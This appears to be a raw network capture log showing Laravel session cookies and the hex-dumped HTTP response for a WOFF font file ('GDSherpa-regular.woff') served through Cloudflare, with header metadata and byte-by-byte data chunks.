XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
2025-03-20 15:55:36 UTC	1174	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:55:36 GMT Content-Type: font/woff Content-Length: 36696 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff" Last-Modified: Thu, 20 Mar 2025 15:55:36 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cCS%2BotlvQH1lRMg3Mdi6n9Al%2FANkdB6Dsv7yzkZRIPDxa30G2P1B7Q6qoCGPX%2BTfV6UsR8gl4%2Fegi5HROJl0th8utzfN%2BB9W4YwgTjZ02I%2BYCwpXOmc2Hu%2BL92IiDJiACKvf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=4527&min_rtt=4461&rtt_var=1371&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2283&delivery_rate=608275&cwnd=248&unsent_bytes=0&cid=113dd6740f37ec18&ts=159&x=0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Server: cloudflare CF-RAY: 9236650c48ae5e79-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=107048&min_rtt=106717&rtt_var=23061&sent=8&recv=9&lost=0&retrans=2&sent_bytes=5303&recv_bytes=1947&delivery_rate=17974&cwnd=249&unsent_bytes=0&cid=eaea72960e1b12c1&ts=1162&x=0"
2025-03-20 15:55:36 UTC	195	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 87 a8 00 00 00 Data Ascii: wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gasp
2025-03-20 15:55:36 UTC	1369	IN	Data Raw: 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 22 30 00 00 54 6c 00 00 a0 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 00 76 d0 00 00 00 21 00 00 00 24 10 9d 09 5a 68 6d 74 78 00 00 76 f4 00 00 03 88 00 00 07 78 3b 0f c0 f7 6c 6f 63 61 00 00 7a 7c 00 00 03 a8 00 00 03 be 14 10 ec 74 6d 61 78 70 00 00 7e 24 00 00 00 20 00 00 00 20 03 2d 0c fd 6e 61 6d 65 00 00 7e 44 00 00 02 ce 00 00 06 27 d5 12 90 1c 70 6f 73 74 00 00 81 14 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8d a4 00 00 00 81 00 00 00 8d 19 50 02 10 78 da e5 5c 09 7c 55 d5 99 ff 4e 72 f3 5e f2 c2 0b 09 89 90 80 44 44 d0 b8 54 1c eb 82 e0 82 56 ad 02 a2 43 b5 b6 a3 b5 55 c4 5f 7f 4e c7 99 fa 6b 7f 38 8e 6d a7 88 d8 aa 68 07 51 1c 36 71 90 d6 85 Data Ascii: glyf"0Tlh.+headv46}hheav!$Zhmtxvx;locaz\|tmaxp~$ -name~D'post1+,prepPx\\|UNr^DDTVCU_Nk8mhQ6q
2025-03-20 15:55:36 UTC	1369	IN	Data Raw: 79 12 f5 02 b6 7b 41 ad 9e a0 54 0f 60 3b 00 d8 9e 0f 7e 15 00 5b 1f 78 d5 4b bd 8e 72 b3 51 ef 02 d4 b3 90 fa 03 f3 1c 60 dc 1f 4f 7d e8 4f 2a 52 1a d2 58 2e 85 fd 98 c5 47 c0 bf 65 c0 da a6 57 b2 ad dd a0 f9 93 68 7d 1c 6a 79 0a 6f 8f c7 79 02 7f 61 f3 0a f7 2f 21 6f 32 2c c1 54 b1 21 f9 c0 20 1f 18 64 81 66 b5 36 16 28 37 1b e7 39 c8 5f 80 77 17 02 93 55 38 0b fd 44 9b d3 41 23 9b 4b 4e 8b 3b 21 29 39 46 52 c0 25 3c 9b 80 3e 3e 8f f3 0b 90 b5 17 85 53 7e f5 12 f2 b4 46 db da 9c 81 96 33 d0 b2 e5 e1 56 1d 24 26 8c 16 a5 25 f4 10 bc a7 6e 68 ab 07 da ea 6e 68 6e a1 2d 9f e1 be 85 de e8 ba d2 51 57 2e ea f2 8b ee ce 84 cc cf 46 de 1c a9 2b 08 cc fd c0 ba 2b e4 69 19 6a 5d 07 df 51 02 6b 35 16 32 aa 6b 9a 80 5c 2d bf 5a 76 6d ed 0f 03 93 5a 23 bb 75 52 4b Data Ascii: y{AT`;~[xKrQ`O}O*RX.GeWh}jyoya/!o2,T! df6(79_wU8DA#KN;!)9FR%<>>S~F3V$&%nhnhn-QW.F++ij]Qk52k\-ZvmZ#uRK
2025-03-20 15:55:36 UTC	1369	IN	Data Raw: e8 29 49 59 47 d1 55 6d 67 96 22 de 5a 12 3d 02 89 44 e8 ba 84 1d bb 7b 66 34 fa 76 04 dc a3 70 a8 87 ad 3c c9 cc 75 74 3e ae 56 d1 59 90 f1 26 ea 42 67 b8 25 4a 44 3f 2f b5 c7 e3 74 11 65 99 39 83 40 07 93 f6 70 eb 23 c4 8e 43 6f cf 1c 59 31 46 d2 c4 65 94 cb eb f9 4d 2a 40 e4 be db eb 6d f9 31 39 15 98 79 82 7e 89 8f 0b da b2 9f 5f 27 ff db 9d ef 70 a9 28 fb 11 64 06 04 76 a8 b5 b9 54 33 e7 91 30 ab 2f 73 2f eb 30 ae 58 de 5a fc ee b1 a1 ad f5 21 51 d8 fb 65 fc a1 e3 80 ac 56 4b a4 cb ea 83 3f fe db e6 48 49 b0 cc 04 64 16 29 4f 62 94 64 3e 2e 4f 92 64 f7 86 43 e1 e3 31 18 e7 98 14 4c 94 25 e4 fd 90 e9 7d ad da 8b 0e 69 47 da 8e 51 78 70 9c dc c1 9d 67 54 d2 d1 23 9a 28 1c 8e 74 ba 59 81 6c ea 94 07 7c cf 71 99 5b 0a ca 5a 47 19 97 48 b4 78 96 2d f7 88 Data Ascii: )IYGUmg"Z=D{f4vp<ut>VY&Bg%JD?/te9@p#CoY1FeM*@m19y~_'p(dvT30/s/0XZ!QeVK?HId)Obd>.OdC1L%}iGQxpgT#(tYl\|q[ZGHx-
2025-03-20 15:55:36 UTC	1369	IN	Data Raw: 71 1f ac cd fb fc 16 9e 7c 28 3a a1 39 f2 10 62 fd a5 88 3e 1a f8 53 fe 25 f2 b7 9a 95 c2 3a 63 47 7a 53 a6 c8 55 21 a2 93 83 74 07 ae 83 18 cd bf 41 b9 b0 24 7a d5 f9 00 ef 06 5d 16 db b6 4a 78 11 84 0e 65 f2 36 9c c7 a0 de 49 bc 02 5a be 52 7f 8f 11 59 e5 8a 83 f5 73 22 2d 9b 79 09 4a e9 3d e4 49 d0 ce ed d0 17 86 f4 5d 86 e7 13 51 67 39 ef 81 dd d1 91 c2 21 19 97 4c 14 3c 83 b2 93 5c cf 07 6a 6d 55 9a da 6e 8c 1c 10 5b bd 1f e7 4a ba 98 0f 00 a7 03 bc 53 ef e5 96 fe 55 e9 ef 90 74 2c 16 b1 73 28 43 bc 5c 52 0e a2 b7 90 de 55 2d de 37 b3 5d 99 59 04 2a eb bd fb 7d 80 f3 5f f8 15 d0 be 0c b6 ef 66 fe 33 ff 1a f5 2e 85 6d df cc 1b 51 63 09 6f 41 e9 47 f8 03 fe 5f 48 59 25 7f c2 af 23 bf 54 62 ae 63 ae 5e f7 80 c5 5d 01 3b 3b 1f ed 97 80 02 65 28 33 9f 27 Data Ascii: q\|(:9b>S%:cGzSU!tA$z]Jxe6IZRYs"-yJ=I]Qg9!L<\jmUn[JSUt,s(C\RU-7]Y*}_f3.mQcoAG_HY%#Tbc^];;e(3'
2025-03-20 15:55:36 UTC	1369	IN	Data Raw: f1 15 44 2d 66 65 0c b5 db bb f6 d3 63 c6 ae fa ff 46 1a a5 0f dd e3 8e 71 2d db 53 0a 4e be 18 4f ec 8d b8 fc 26 df fe 9e 30 57 a8 ed 33 57 a7 3f c7 71 02 54 cb 12 1b 7b 82 17 ba 6d 46 c6 81 33 dc 78 c9 c6 44 8f c0 b3 62 c6 1f 55 26 72 4a 97 19 4c 3b ae cd b7 63 4e d9 93 e3 37 36 5e be 64 10 1f e1 17 0e 63 54 8c a8 39 d9 fe a7 8c 53 99 8f 8c c2 fd b8 cc 98 66 88 b5 3b c2 d3 ed 15 e1 28 dc ff 68 66 4c 29 26 5a b5 a2 66 d3 ec af 31 7d 32 86 3b 2e fc c9 b5 69 29 b8 a7 bb b1 8a df ac fc 07 78 3b 38 79 50 d6 55 92 cd 5a 5b b0 8d af 95 e3 cb 4c b3 d0 2b 7a 7d 36 c9 23 d5 b1 f1 a3 ce 49 8b 6b 49 2c 67 75 cc 70 2a 23 4e 8c 15 2d 4b 9a 1f 01 a9 11 fd 16 1d ff 6a 87 9f 3a ef a1 3a 01 8e 49 f2 55 cd b9 b8 3a 1f d0 8f 2e 04 f4 a7 ef d0 cf f1 ec 61 5a 4d 0f d0 1a 5a Data Ascii: D-fecFq-SNO&0W3W?qT{mF3xDbU&rJL;cN76^dcT9Sf;(hfL)&Zf1}2;.i)x;8yPUZ[L+z}6#IkI,gup*#N-Kj::IU:.aZMZ
2025-03-20 15:55:36 UTC	1369	IN	Data Raw: c7 a4 71 43 15 83 34 5b 88 fe 87 aa 57 b8 d5 82 47 ca e9 22 45 44 49 3f d1 d2 45 77 a9 28 56 ea 88 93 96 e2 5d 8d d0 87 be ea d9 9f 24 29 73 00 c9 ea 3e 98 14 86 88 bb 61 a4 32 5a d3 8d 65 9c d4 38 81 89 8c 27 91 29 4c 65 1a 93 98 cc 74 66 90 ce 4c 66 31 9b 39 cc 65 1e 19 64 32 9f 2c 16 b0 90 1c b2 59 44 2e 8b 59 c2 52 f2 58 a6 5d ac 10 37 ab 58 47 be 98 f7 b2 9a 35 14 52 c0 7a 36 52 4c 11 1b 28 a1 94 4d f8 d8 cc 16 b6 52 46 39 db d9 c1 4e 76 b1 8d dd ec 61 2f fb d8 4f 05 07 a8 e4 20 87 38 cc 11 8e 72 8c e3 54 71 82 53 9c e6 0c e7 38 cf 59 2e 70 92 8b 5c e6 12 57 b8 4a 35 d7 b8 2e 86 6e 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 Data Ascii: qC4[WG"EDI?Ew(V]$)s>a2Ze8')LetfLf19ed2,YD.YRX]7XG5Rz6RL(MRF9Nva/O 8rTqS8Y.p\WJ5.nr4qp[zWb5o{>&o xL,y&d
2025-03-20 15:55:36 UTC	1369	IN	Data Raw: 22 86 eb 32 86 29 8a 11 6a c2 eb ea cc 3c dd a6 e7 35 4c 2f 68 b8 46 68 a4 e6 68 ae a6 ea 90 f2 18 48 01 87 24 55 d6 45 aa a6 bb d4 47 fd 09 d7 29 73 f1 85 e6 80 90 3f 1c cd ff 19 e7 f3 fd 6a 65 eb 3d ad d1 5a e5 68 9d de d7 7a e5 fe 9d 05 42 09 b3 6c ae c0 05 f6 f5 8a 54 a2 32 17 71 31 55 a8 4a 35 aa 53 83 4b a8 69 c9 5d 9b 08 2e b5 cc a9 6b 99 5e ff af fc b0 88 34 16 b3 84 b7 49 27 c3 f2 7c 19 ef 58 a6 67 b2 d2 f2 73 15 ef b2 da f2 fd 3d 4b d2 b5 96 18 eb 78 9f f5 e4 fe c1 9c e9 2f a1 a7 8b 91 33 84 04 23 23 60 54 04 8d 88 4f 8c 89 42 e3 e1 e7 52 22 2a 18 13 46 84 f1 e0 1a 11 0d 8c 06 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b Data Ascii: "2)j<5L/hFhhH$UEG)s?je=ZhzBlT2q1UJ5SKi].k^4I'\|Xgs=Kx/3##`TOBR"F]cL+k.[an3jv)=h^d`L2+
2025-03-20 15:55:36 UTC	1369	IN	Data Raw: ac ff d4 ac f0 61 ab fe 9f 9b 86 24 fe fd 89 f6 8d ce 12 46 c6 33 8b b8 46 32 96 3d cb c8 b8 f6 62 ed fb c4 04 fa cc a4 d6 ab 09 ff 2e e2 d7 2f 5e b4 66 01 fb ac f7 e0 9e 3b eb f1 66 eb 76 b1 3c b4 11 ca 63 19 8d c5 5b ec 02 2a 5e 6a 6f a2 6c a0 04 c8 79 91 0c 7d c0 e6 8d de 66 df 02 ac 86 31 5a a2 15 30 d4 c5 51 43 b3 30 f5 ac 6d c0 78 7a b8 aa 18 0d d2 70 94 43 89 d8 60 f6 f7 87 d1 91 0e a4 c0 c8 c6 8a e6 f3 6b 0b 95 e7 5d 4e 6d 3f 3c 7c 31 6b d5 c3 ea 69 ab cf 2d f6 19 3e 7f fd 15 76 d7 c8 fa cd 3f 1a 2a 96 e4 84 ef a7 ed 84 11 a0 52 72 88 23 2a 17 86 17 21 11 f4 2f a1 11 c8 75 63 dc 34 3e 3e 3c d1 5c 6a 64 02 ed 85 10 b4 17 6d 64 5d 7f 6d fd 18 e7 fc 4c d0 0b 8f 01 f9 23 ef b3 71 d6 f7 46 2e e3 3f 0a 97 84 5e 28 d6 26 8b ec d7 f0 07 cf 04 5a fc 6d 6d Data Ascii: a$F3F2=b./^f;fv<c[^joly}f1Z0QC0mxzpC`k]Nm?<\|1ki->v?Rr#*!/uc4>><\jdmd]mL#qF.?^(&Zmm
2025-03-20 15:55:36 UTC	1369	IN	Data Raw: b5 0b 2c f9 1a 98 63 c9 24 cb b0 2a 62 27 a9 18 05 a7 52 38 da 62 2e 4a 4c ad 31 86 f1 51 43 46 2f b5 f8 9f ab 32 38 5e 8f ec ec 32 35 11 46 9d 3a 92 75 65 af 59 cb 70 b7 f5 10 be 31 72 41 70 bd 8e 2f 0b f3 d1 a3 b2 a5 86 2a 84 6b dc ed 91 bf b2 be a2 3d da 33 7a 5b b5 06 c6 6f 08 93 cc bc 68 71 55 23 30 3a 10 cc ff 92 90 10 c7 82 57 70 7c a3 0b 22 ea 92 4c ce fe 65 6e 2a 98 32 98 7a 57 9b a1 25 da 63 89 93 41 99 31 60 99 1b 52 a9 ec 72 59 4c b6 0c 8c 8b cb 98 01 87 6b 45 b3 43 a1 50 d6 ba 22 a5 d2 4b ca c7 88 e6 5a ad 25 20 2c 94 61 8c 31 a1 c9 61 c9 40 75 08 e1 86 c6 a8 77 07 86 e8 d2 15 0a bd bd aa d6 a6 8f 71 28 da 61 8a e3 3e 2b fb cb 63 17 bf 7e 60 f6 ec 07 be be f8 c8 df ca d8 fd d6 00 7c ce ba 18 df ba b3 77 d3 f5 d5 19 19 ab af 6f 92 14 f5 7f fa Data Ascii: ,c$b'R8b.JL1QCF/28^25F:ueYp1rAp/k=3z[ohqU#0:Wp\|"Len*2zW%cA1`RrYLkECP"KZ% ,a1a@uwq(a>+c~`\|wo